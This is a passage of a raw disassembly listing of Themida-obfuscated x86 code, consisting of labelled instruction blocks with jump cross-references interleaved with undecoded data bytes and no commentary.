loc_548EFA:				; CODE XREF: Themida_:00545FC1j
		mov	esp, [esp]
		jmp	loc_541D26
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 1D981693h, 8904EC83h, 0BE56242Ch, 3FFA136Bh,	1BD3E9h
		dd 0D0E95C00h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548F1F:				; CODE XREF: Themida_:00547DB8j
		add	eax, edx
		add	eax, 47DA0E4Ch
		pop	edx
		push	ebx
		jmp	loc_546BA0
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 2
		dd 8B241487h, 3CD32424h, 39E99C24h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548F3F:				; CODE XREF: Themida_:0054CAD8j
		add	ecx, edx
		sub	ecx, 8D0466Ch
		add	dword ptr [ecx], 1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4


loc_548F66:				; CODE XREF: Themida_:0054A588j
		push	77DBh
		mov	[esp], ebx
		mov	eax, [esp]
		push	290h
		mov	[esp], edi
		mov	edi, esp
		push	esi
		jmp	loc_54455B
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 1A40BA24h, 21E97CE1h, 89000005h, 34FF241Ch, 1EE95824h
		dd 0BD000013h, 5E34BC9h, 7D50B951h, 0C3E92290h,	81FFFFAEh
		dd 0BFEA71EFh, 0E9FE29EBh, 47EBh, 815FF921h, 76C4D0F1h
		dd 35670515h, 322D3614h, 0E968755Dh, 0FA2h, 0E1E98AB4h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548FD7:				; CODE XREF: Themida_:0054AB80j
		push	404Eh
		jmp	loc_54D87F
; ---------------------------------------------------------------------------


loc_548FE1:				; CODE XREF: Themida_:00549BAFj
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_544217
; ---------------------------------------------------------------------------


loc_548FEC:				; CODE XREF: Themida_:00543F1Fj
		mov	[esp], ebp
		mov	ebp, 543B3916h
		sub	ebp, 7387977h
		sub	ebp, 1
		add	ebp, 0B2FD4066h
		jmp	loc_541407
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 53E8h, 0E9242C89h, 2309h,	63E9AE04h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_549023:				; CODE XREF: Themida_:00549709j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_542D7D
; ---------------------------------------------------------------------------
		dd 8102E1C1h, 82E501F1h, 59CD01F7h, 3D75ED81h, 4BE95391h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54904B:				; CODE XREF: Themida_:0054B8C2j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_549296
; ---------------------------------------------------------------------------
		db 80h
		dd 0F7301EC6h, 33CFE9h,	0E5E98100h, 8135AC51h, 4C80BFF1h
		dd 0E9CB89A3h, 1CD8h, 5C24048Fh, 2EC81h, 89660000h, 0F7E9241Ch
		dd 81FFFFA6h, 574567EDh, 0ED814D3Bh, 61F65E5Ch,	0FFF198E9h
		dd 2C483FFh, 0EBE9C300h, 56FFFF98h, 42474FFh, 0FFBF6EE9h
		dd 0E9D101FFh, 2533h, 93BA525Ah, 0E908915Dh, 0FFFFDA3Ah
		dd 5E06BE56h, 0BD555049h, 45B70D7Dh, 4ADCBB53h,	0DE016BC9h
		dd 81EE295Bh, 0C94ADCEEh, 38685D6Bh, 8900000Ch,	0BFB9240Ch
		dd 0F742BE12h, 0FDE181D1h, 0F70CDE68h, 0E4F2E9D9h, 8B66FFFFh
		dd 0E951240Ch, 0FF0h, 555DEA89h, 242C87BDh, 5DE8292Dh
		dd 8705D029h, 5A2D242Ch, 8124348Bh, 4C4h, 7F92D00h, 0AFE96931h
		dd 8300001Dh, 55E904ECh
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549133:				; CODE XREF: Themida_:005442EDj
		add	esp, 4
		xor	eax, ebx
		pop	ebx
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_54D232
; ---------------------------------------------------------------------------
		db 68h
		dd 6051h, 68243C89h, 6BF53786h,	0FFBA76E9h, 0E9D529FFh
		dd 3D28h, 0B7533FB0h, 77CF809Dh, 2454F653h, 0EFC05B01h
		dd 0F3F78005h, 0FF9F3AE9h, 0E9CE00FFh, 9D8h, 0E189515Dh
		dd 4C181h, 0E9810000h, 4, 0FFF0F8E9h, 81E789FFh, 4C7h
		dd 4C78300h, 8B243C87h,	0B8502424h, 15DA6C83h, 0DA6C7F2Dh
		dd 58C30115h, 4EC81h, 0C890000h, 2B924h, 0EB810000h, 45C41EB8h
		dd 0C381CB01h, 45C41EB8h, 241C3359h, 0E9241C31h, 0FFFFC092h
; ---------------------------------------------------------------------------


loc_5491F8:				; CODE XREF: Themida_:00541F58j
		mov	ebx, 3E7C08Ah
		jmp	loc_542569
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5F5A5704h, 0FFDDE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54920D:				; CODE XREF: Themida_:005435AEj
		mov	dh, 98h
		push	small 0
		sub	[esp], dh
		mov	dh, [esp]
		add	esp, 2
		jmp	loc_54C57C
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 2
		dd 31242C33h, 0D7E9242Ch, 95FFFFE4h, 737AE581h,	0BE562179h
		dd 99C6218Ch, 315EF529h, 2434FFE8h, 0FFDAF4E9h,	2434FFFFh
		dd 8124048Bh, 4C4h, 4EC8300h, 54240C89h, 0DCD5E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549262:				; CODE XREF: Themida_:0054A625j
		xor	ecx, 752139h
		jmp	loc_54C4FA
; ---------------------------------------------------------------------------
		db 0ADh, 0E9h, 0E1h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549273:				; CODE XREF: Themida_:0054BDCDj
		add	esi, 29B21AE9h
		or	esi, 2CEB4476h
		jmp	loc_544EE4
; ---------------------------------------------------------------------------
		dd 96E9415Fh, 2C000019h, 66D02889h, 10B4E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549296:				; CODE XREF: Themida_:00549052j
		mov	[esp], esi
		push	5D536E06h
		mov	esi, [esp]
		jmp	loc_54AE74
; ---------------------------------------------------------------------------
		dw 0C480h
		dd 43EE80B2h, 94E9E628h, 89FFFFA9h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0EBEB815Ch,	515C700Dh, 0AF4AC4B9h
		dd 0DF18162h, 0E97B7C0Dh, 4304h
; ---------------------------------------------------------------------------


loc_5492DC:				; CODE XREF: Themida_:0054391Dj
		mov	eax, edi
		jmp	loc_54ACA2
; ---------------------------------------------------------------------------
		db 81h
		dd 73A82434h, 815B6B13h, 1373A8F3h, 0EBC15A6Bh,	8620E903h
		dd 487FFFFh, 152D5C24h,	482FEA38h, 1A59032Dh, 0A5BA5266h
		dd 31D255C3h, 0D3CFE9D0h, 0E952FFFFh, 0FFFFDAE2h, 0B8505954h
		dd 4, 7B13E981h, 0E9813DB6h, 6C827043h,	0C181C101h, 6C827043h
		dd 7B13BE56h, 0BA523DB6h, 38D7459Ah, 4A03EAC1h,	8104EAC1h
		dd 66792EC2h, 5AD10124h, 0E981F101h, 24D827B9h,	0FFF4CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549361:				; CODE XREF: Themida_:00545733j
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5474E5
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4870000h, 0BBBF5C24h, 297F2963h, 241C8BDFh
		dd 4C481h, 0F9010000h, 0AF50E95Fh, 348BFFFFh, 4C48324h
		dd 5B4668h, 241C8900h, 670268h,	242C8900h, 6524B850h, 702D17C9h
		dd 89EC660Fh, 18BB58C5h, 315C327Fh, 0CF31E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5493D2:				; CODE XREF: Themida_:005474E8j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 4
		jmp	loc_547146
; ---------------------------------------------------------------------------
		dd 5BD8015Eh, 0FFFF21E9h, 5FF989FFh, 0A559D268h, 0CD315D3Bh
		dd 592434FFh, 104C483h,	0C7815DEFh, 4, 5C243C87h, 8B2434FFh
		dd 0C4832404h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edx
		push	edi
		mov	edi, 6A005662h
		jmp	loc_548A52
; ---------------------------------------------------------------------------


loc_54942D:				; CODE XREF: Themida_:005499EAj
		pop	ecx
		add	esi, 4
		jmp	loc_548CDA
; ---------------------------------------------------------------------------


loc_549439:				; CODE XREF: Themida_:005446F5j
		add	bl, 2Ah
		sub	bl, 0E3h
		add	bl, 2Fh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 63BD5574h
		or	esi, 278C1B57h
		inc	esi
		jmp	loc_54A732
; ---------------------------------------------------------------------------


loc_54945D:				; CODE XREF: Themida_:00546172j
		push	eax
		jmp	loc_547896
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF8C24E9h, 243C33FFh, 33243C31h, 248B243Ch,	4EC8324h
		dd 88240C89h, 0EA8852D5h, 0F138E951h, 0C804FFFFh, 5307E0C0h
		dd 0FFDB92E9h, 58C701FFh, 68D868h, 24148900h, 6277BABAh
		dd 0BD554A7Dh, 7D6277BDh, 0E95DEA31h, 1F6Fh, 8CB85053h
		dd 0E91E8C2Ch, 0FFFFBBB9h, 4247C01h, 9E2D585Fh,	50177D2Fh
		dd 2C2589B8h, 15C0351Eh, 0F0314E0Ch, 383BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5494D9:				; CODE XREF: Themida_:0054140Aj
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	3BB2h
		mov	[esp], ebx
		mov	ebx, 800000h
		and	eax, ebx
		jmp	loc_54637A
; ---------------------------------------------------------------------------
		dw 0C166h
		dd 56608E8h, 0C16630F3h, 0C16603E0h, 56606E0h, 2966FD5Bh
		dd 65E958C3h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549517:				; CODE XREF: Themida_:00542465j
		xor	ebp, 65856BECh
		mov	edx, ebp
		pop	ebp
		push	122Eh
		mov	[esp], edx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_549C02
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0C0h
		dd 56165215h, 98322FBEh, 62E98166h, 1047F4Ch, 1BCCE9F1h
		dd 0AD660000h, 64752D66h, 55E38953h, 4BDh, 5DEB0100h, 8704EB83h
		dd 895C241Ch, 0BE662434h, 816616C3h, 0E95541C6h, 0FFFFB4CCh
		dd 8904EC83h, 0CFF241Ch, 2F86E924h, 295B0000h, 0D8BE56D8h
		dd 8154B415h, 3A026DC6h, 29D6E924h, 67B70000h, 0C0A8E780h
		dd 0C78008EFh, 1CBDE991h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5495A6:				; CODE XREF: Themida_:00544912j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		movzx	eax, al
		jmp	loc_54295F
; ---------------------------------------------------------------------------


loc_5495B8:				; CODE XREF: Themida_:00544BA5j
		add	edx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_54BD35
; ---------------------------------------------------------------------------


loc_5495C3:				; CODE XREF: Themida_:00548B51j
		or	edx, 314B006Ch
		jmp	loc_54ACD4
; ---------------------------------------------------------------------------
		dw 7268h
		dd 89000002h, 0BA52243Ch, 474A31BCh, 6F2DE281h,	0EA816D64h
		dd 6B847E87h, 4E34E281h, 0F74A0F0Dh, 25C281DAh,	0E9090902h
		dd 0FFFFA78Eh, 4C381h, 0C3830000h, 241C8704h, 6824248Bh
		dd 5E02h, 0E9243489h, 0FFFFE31Ah, 0BEFB2D66h, 8BC30166h
		dd 0C4832404h, 66526604h, 661FF5BAh, 5166D2F7h,	0F2AFB966h
		dd 66CA3166h, 0D3296659h, 24148B66h, 386CE9h, 4AD2F700h
		dd 0FFFFBE56h, 0F201FFFFh, 6CC2815Eh, 812E163Dh, 9D12CF2h
		dd 5AD701D5h, 8104C783h, 4ECh, 243C8900h, 42474FFh, 83243C8Bh
		dd 48F04C4h, 0FF665C24h, 7CF6E930h, 7401FFFFh, 5B5E0424h
		dd 6A29EB81h, 34FF5A8Eh, 0E9525A24h, 2FC7h
; ---------------------------------------------------------------------------


loc_549698:				; CODE XREF: Themida_:00542BB0j
		pop	ecx
		push	esi
		mov	esi, 3D5435E5h
		sub	esi, 3D5435E1h
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	445Eh
		mov	[esp], ecx
		mov	ecx, 12C83A7Ch
		jmp	loc_54CBBE
; ---------------------------------------------------------------------------
		db 66h,	33h, 14h
		dd 14316624h, 0A26CE924h, 48FFFFFh, 0D47FE924h,	0FB68FFFFh
		dd 0E974D01Ch, 0FFFFA9FEh
; ---------------------------------------------------------------------------


loc_5496F0:				; CODE XREF: Themida_:00545CCCj
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_54BB6C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 401DE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549706:				; CODE XREF: Themida_:0054B79Dj
		xchg	eax, [esp]
		jmp	loc_549023
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_545C06
; ---------------------------------------------------------------------------
		dd 0D028F1B2h, 34685A66h, 89000011h, 33B62414h,	5053D6F6h
		dd 0FFF89BE9h, 0D0CF81FFh, 0D14D1953h, 0F7DF87EFh, 0C1DF87DBh
		dd 0EFC108E7h, 0BDC7E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54974E:				; CODE XREF: Themida_:0054BF59j
		push	esi
		mov	esi, 9AE6E2Ch
		jmp	loc_549DD9
; ---------------------------------------------------------------------------
		db 5Ah,	33h, 1Ch
		dd 241C3124h, 1BECE9h, 74E56800h, 34890000h, 815E5424h
		dd 4C6h, 40BD5500h, 81455D79h, 666EFFEDh, 0F901E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549786:				; CODE XREF: Themida_:00543546j
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		jmp	loc_544CD2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 5C24048Fh, 50C8BF0Fh, 5251E089h, 2530E368h
		dd 0EA815A1Dh, 213E3490h, 0D80FEA81h, 9BE9AB30h, 83FFFFBBh
		dd 0BD5504C4h, 3A0031C3h, 2A20C581h, 3BE9F97Ah,	66000023h
		dd 0E9241431h, 0FFFFFEF5h, 348B5F66h, 4C48124h,	66000000h
		dd 2D66D801h, 56617CBh,	52666475h, 6FF4BA66h, 66D00166h
		dd 5024148Bh, 0B9E9E089h, 5AFFFFF8h, 0FFD368E9h, 240C8BFFh
		dd 0FFF106E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549815:				; CODE XREF: Themida_:0054D810j
		sub	esi, 0FB69879h
		xor	edi, esi
		pop	esi
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54328B
; ---------------------------------------------------------------------------
a@sa		db '@é ;',0
		align 4
		dd 0F433E959h, 665CFFFFh, 2404A30Fh, 7B22E99Ch,	8952FFFFh
		dd 4C281E2h, 81000000h,	4C2h, 4102E900h, 0C1810000h, 4
		dd 5C240C87h, 2D5AD001h, 59874C4Ch, 0FFB12DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549881:				; CODE XREF: Themida_:0054CED1j
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5434E5
; ---------------------------------------------------------------------------
		dd 4C48158h, 68000000h,	1BFAh, 0FFB729E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5498A9:				; CODE XREF: Themida_:00544373j
		pop	edi
		jmp	loc_54A9B7
; ---------------------------------------------------------------------------
		db 89h
		dd 4BD242Ch, 1000000h, 0C6835DEEh, 24348704h, 2D24248Bh
		dd 31A5076Ch, 2BEFC281h, 7CE95060h, 8BFFFFCCh, 2C892424h
		dd 485EBD24h, 0E83152D5h, 0E3E9515Dh, 81FFFF7Ah, 4ECh
		dd 24248900h, 0E83E9h
		db 0
; ---------------------------------------------------------------------------


loc_5498F5:				; CODE XREF: Themida_:00543217j
		push	ebx
		mov	ebx, 1B4E1145h
		xor	ebx, 52D84A8Fh
		jmp	loc_547715
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 7E7368h, 0B98BE900h, 1C68FFFFh, 89000075h, 0A3E92414h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549923:				; CODE XREF: Themida_:00546774j
		dec	ebx
		jmp	loc_54530D
; ---------------------------------------------------------------------------
		db 31h,	0C7h, 0E9h
		dd 18EFh, 0C3005966h, 6840C380h, 11D6h,	0B1240C89h, 0FED9F642h
		dd 0A4FDE9C1h, 8B66FFFFh, 0E9512404h, 0FFFFE55Dh, 242CD35Ch
		dd 1890E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54995E:				; CODE XREF: Themida_:0054A308j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_54C867
; ---------------------------------------------------------------------------
		db 57h
		dd 0C7815F54h, 4, 5C3E9h, 40500h, 77E90000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549983:				; CODE XREF: Themida_:00545A89j
		pop	ebp
		jmp	loc_543210
; ---------------------------------------------------------------------------


loc_549989:				; CODE XREF: Themida_:0054171Ej
		sub	edi, 8D990999h
		push	edi
		add	dword ptr [esp], 3A847AA3h
		pop	ecx
		jmp	loc_54856A
; ---------------------------------------------------------------------------


loc_54999D:				; CODE XREF: Themida_:00542C86j
		add	esi, 97D8D5ACh
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_549E8B
; ---------------------------------------------------------------------------
		dd 2373B951h, 0F7411B13h, 0E1C181D1h, 0E94F442Ah, 0FFFFEBEDh
		dd 8B243C33h, 57552424h, 0FFD35BE9h, 0E9FD87FFh, 0FFFF97CFh
; ---------------------------------------------------------------------------


loc_5499DC:				; CODE XREF: Themida_:00546E7Aj
		add	esi, 29497748h
		add	esi, ecx
		sub	esi, 29497748h
		jmp	loc_54942D
; ---------------------------------------------------------------------------
		db 83h
		dd 0B1E904C3h, 66FFFFDDh, 5224048Bh, 0C281E289h, 4, 4BB53h
		dd 0DA290000h, 0FFAC31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549A11:				; CODE XREF: Themida_:0054B32Dj
		push	ebp
		pop	esi
		pop	ebp
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_54A172
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 36BB5352h, 8960C640h, 0D02D5BDAh, 0E93B700Ah, 0FFFFC347h
; ---------------------------------------------------------------------------


loc_549A34:				; CODE XREF: Themida_:00546B51j
		sub	edx, esi
		pop	esi
		jmp	loc_544378
; ---------------------------------------------------------------------------


loc_549A3C:				; CODE XREF: Themida_:0054B53Bj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54408A
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0BF570000h, 4, 0FF8AEBE9h, 5F029FFh,	10C2164Dh
		dd 613AB951h, 0A30534B4h, 294C247Eh, 7EA32DC8h,	0D7E94C24h
		dd 89000028h, 0B66856E3h, 8900006Eh, 4468243Ch,	5F1BA267h
		dd 0A2E9DFF7h, 50FFFFE0h, 5366D6B0h, 48E9C388h,	8BFFFFAEh
		dd 0C4812414h, 4, 2414F757h, 36E7815Fh,	0E9094413h, 0FFFF9D84h
		dd 0F6EFE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549AC2:				; CODE XREF: Themida_:00544E34j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_546B2B
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4C6h, 24348700h, 4EE815Ch, 87000000h, 248B2434h
		dd 240C8924h, 0FF7887E9h, 0D02A2CFFh, 28832CE8h, 0D82459C8h
		dd 0B151022Ch, 8FCFE965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549B06:				; CODE XREF: Themida_:00543F0Dj
		or	edi, 2834A67h
		xor	edi, 0A16CD693h
		sub	ebx, edi
		jmp	loc_5442EA
; ---------------------------------------------------------------------------
		align 2
		dw 0E9D8h
		dd 0FFFFAF80h, 9D1C77FFh, 24041958h, 0C985E99Ch, 31B9FFFFh
		dd 0F737EB29h, 65C981D1h, 0E95ACB53h, 0FFFFBE07h, 4BFh
		dd 5FF90100h, 0E9240C87h, 0FFFF9CD5h, 242C8155h, 0FFFFFFFFh
		dd 97ED815Dh, 55B7FFEFh, 34242C81h, 8F7E1540h, 4A682047h
		dd 0E9000029h, 0FFFFBB62h, 87C68059h, 7EE9F020h, 81000002h
		dd 4C7h, 4B85000h, 50000000h, 0F94D3EB8h, 0E9C72923h, 0FFFF7ACAh
; ---------------------------------------------------------------------------


loc_549B98:				; CODE XREF: Themida_:00546E82j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	ebx, ebx
		jnz	loc_544775
		push	6761h
		jmp	loc_548FE1
; ---------------------------------------------------------------------------


loc_549BB4:				; CODE XREF: Themida_:0054B62Aj
		dec	ebx
		add	ebx, 1F347FB1h
		sub	ebx, 79C1EA83h
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, dl
		jmp	loc_54AD40
; ---------------------------------------------------------------------------
aB?2u		db 'Î=?}2U½',0
		align 4
		dd 0ED810000h, 70F5513Dh, 0C581F529h, 70F5513Dh, 815DEE87h
		dd 82BFFDEEh, 38BDE989h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549C02:				; CODE XREF: Themida_:0054952Cj
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_54D8B2
; ---------------------------------------------------------------------------
		dd 8FC0B60Fh, 4DE98704h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549C2B:				; CODE XREF: Themida_:0054B672j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_54CCCF
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 23F268h, 24048900h, 405E089h, 68000000h, 1949h, 0BB241C89h
		dd 4, 0E95BD801h, 0FFFFE6A4h, 0F680CEFEh, 233E97Fh, 11680000h
		dd 8B043E71h, 0C4812434h, 4, 0FF8709E9h, 240C8BFFh, 0E904C483h
		dd 0FFFFA17Ah, 4C48359h, 0E9242C33h, 2CDEh, 9C6DB9B8h
		dd 32C3574h, 0D0F71471h, 77811005h, 58C72974h, 5E7C14Fh
		dd 5E1DEF81h, 10E930E4h, 81FFFFCCh, 4C4h, 0D7F7E900h, 0E2C1FFFFh
		dd 56BB5306h, 0F733FF2Dh, 0D9EB81D3h, 813B0A7Ah, 0B320E1CBh
		dd 7EEB8151h, 8167DB4Dh, 0FA306EF3h, 5FF38113h,	81DAD1DEh
		dd 8239D1C2h, 81DA0151h, 8239D1EAh, 0D0895B51h,	9DEA815Ah
		dd 17AE706h, 2BBE56C2h,	813C1139h, 0CA34FDF6h, 3C1EE937h
		dd 0BF570000h, 2, 95E9FE01h, 89FFFF93h,	8EBF243Ch, 0E9371543h
		dd 0FFFFEF58h, 0AD5FA525h, 79572D52h, 0BE560D41h, 248D4BD0h
		dd 315EF001h, 0DBE958C5h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549D4F:				; CODE XREF: Themida_:0054BFBDj
		mov	eax, 14F40699h
		inc	eax
		xor	eax, 6B2432B5h
		mov	esi, eax
		pop	eax
		shr	esi, 2
		sub	esi, 347A2DCFh
		jmp	loc_54B78E
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0BEE9FD09h, 89000028h, 92ECE9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549D7A:				; CODE XREF: Themida_:0054CA29j
		sub	edx, 53C9B4A8h
		sub	esi, edx
		pop	edx
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ebp, 6
		dec	ebp
		not	ebp
		push	ebx
		mov	ebx, 5B7F063Ch
		dec	ebx
		xor	ebx, 48C05678h
		sub	ebx, 6D2D2677h
		push	edx
		mov	edx, 0B39F0B40h
		jmp	loc_54CF8A
; ---------------------------------------------------------------------------
		db 0ACh
		dd 3C68h, 240C8900h, 0A17E9h, 0F556800h, 34890000h, 200BE24h
		dd 77090000h, 2434FF1Ch, 0E689565Eh, 0FFC549E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549DD9:				; CODE XREF: Themida_:00549754j
		add	ebx, esi
		pop	esi
		jmp	loc_546565
; ---------------------------------------------------------------------------
		db 64h,	0FFh, 32h
		dd 0FF758FE9h, 54C381FFh, 5F451F51h, 0FFCAA0E9h, 240C89FFh
		dd 0FFBE79E9h, 460C5AFFh, 88520434h, 8BF588C6h,	0C4832414h
		dd 0C25AE904h, 0C683FFFFh, 0B3E681FFh, 0E913D96Ah, 2E92h
		dd 83240C8Bh, 0BD5504C4h, 458A69C3h, 0DDF7454Dh, 0FF7A31E9h
		dd 11B0B9FFh, 0C8017B34h, 0E9C82959h, 0FFFF86EFh, 14BAE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549E4A:				; CODE XREF: Themida_:00543C20j
		pop	esi
		push	eax
		mov	eax, 4
		add	edi, 23747E1h
		jmp	loc_54AC48
; ---------------------------------------------------------------------------
		dd 2E30F181h, 0EB812E47h, 4130D5Eh, 6777C381h, 30E90D3Bh
		dd 8BFFFFCFh, 0C481241Ch, 4, 8B24048Fh,	4FE2424h, 0EDE99C24h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549E8B:				; CODE XREF: Themida_:005499AFj
		mov	esi, 35E80F6Eh
		add	ebx, esi
		pop	esi
		jmp	loc_541D51
; ---------------------------------------------------------------------------
		dd 0C531E831h, 0FFD543E9h, 11EE80FFh, 0E95AF328h, 0FFFFE8E9h
		dd 5B66FA00h, 148BD328h, 4C48124h, 51000000h, 0C1800CB1h
		dd 0FDC98058h, 0FFB227E9h, 243C89FFh, 6850E789h, 7DEE7E15h
		dd 0FFC08358h, 0FFA81DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549EDD:				; CODE XREF: Themida_:005414A5j
		or	eax, eax
		jz	loc_54435B
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 4A691E2Dh
		xor	[esp+4], edi
		jmp	loc_548867
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFD1AFE9h, 81F828FFh, 4ECh,	0ABFCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549F0A:				; CODE XREF: Themida_:00542A17j
		mov	esi, 44431286h
		push	esi
		push	esi
		mov	esi, 31EF31C1h
		add	[esp+4], esi
		pop	esi
		pop	edx
		sub	edx, 31EF31C1h
		pop	esi
		xor	edx, eax
		jmp	loc_548B50
; ---------------------------------------------------------------------------
		dw 0DD05h
		dd 5D2D0D66h, 0DBF9E953h, 0E95CFFFFh, 0C8Fh, 8704C783h
		dd 2C5C243Ch, 241C8B87h, 0FFFD6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549F4D:				; CODE XREF: Themida_:00547E63j
		add	esp, 4
		and	esi, 462B29D4h
		add	esi, 0FFFFFFFFh
		sub	esi, 1
		jmp	loc_54CA13
; ---------------------------------------------------------------------------
		db 52h
		dd 0BB4156BAh, 7F94E950h, 0C801FFFFh, 755D3205h, 35672D68h
		dd 81593614h, 0B8567CC3h, 0F7C38146h, 8159DF74h, 17135AEBh
		dd 88C38114h, 1594A0Dh,	88EB81C3h, 81594A0Dh, 17135AC3h
		dd 0F7EB8114h, 5759DF74h, 651F6852h, 148B0AD1h,	4C48124h
		dd 81000000h, 693363F2h, 8BD7894Ch, 7DE92414h, 68FFFF86h
		dd 3117h, 24048F54h, 4240481h, 5F000000h, 4C781h, 68550000h
		dd 4, 1CEF815Dh, 2932A51Bh, 1CC781EFh, 5D32A51Bh, 0E53E9h
		db 0
; ---------------------------------------------------------------------------


loc_549FFD:				; CODE XREF: Themida_:00542A77j
		mov	esi, 8667F5Eh
		neg	esi
		push	ebp
		mov	ebp, 121B678Bh
		xor	esi, ebp
		pop	ebp
		not	esi
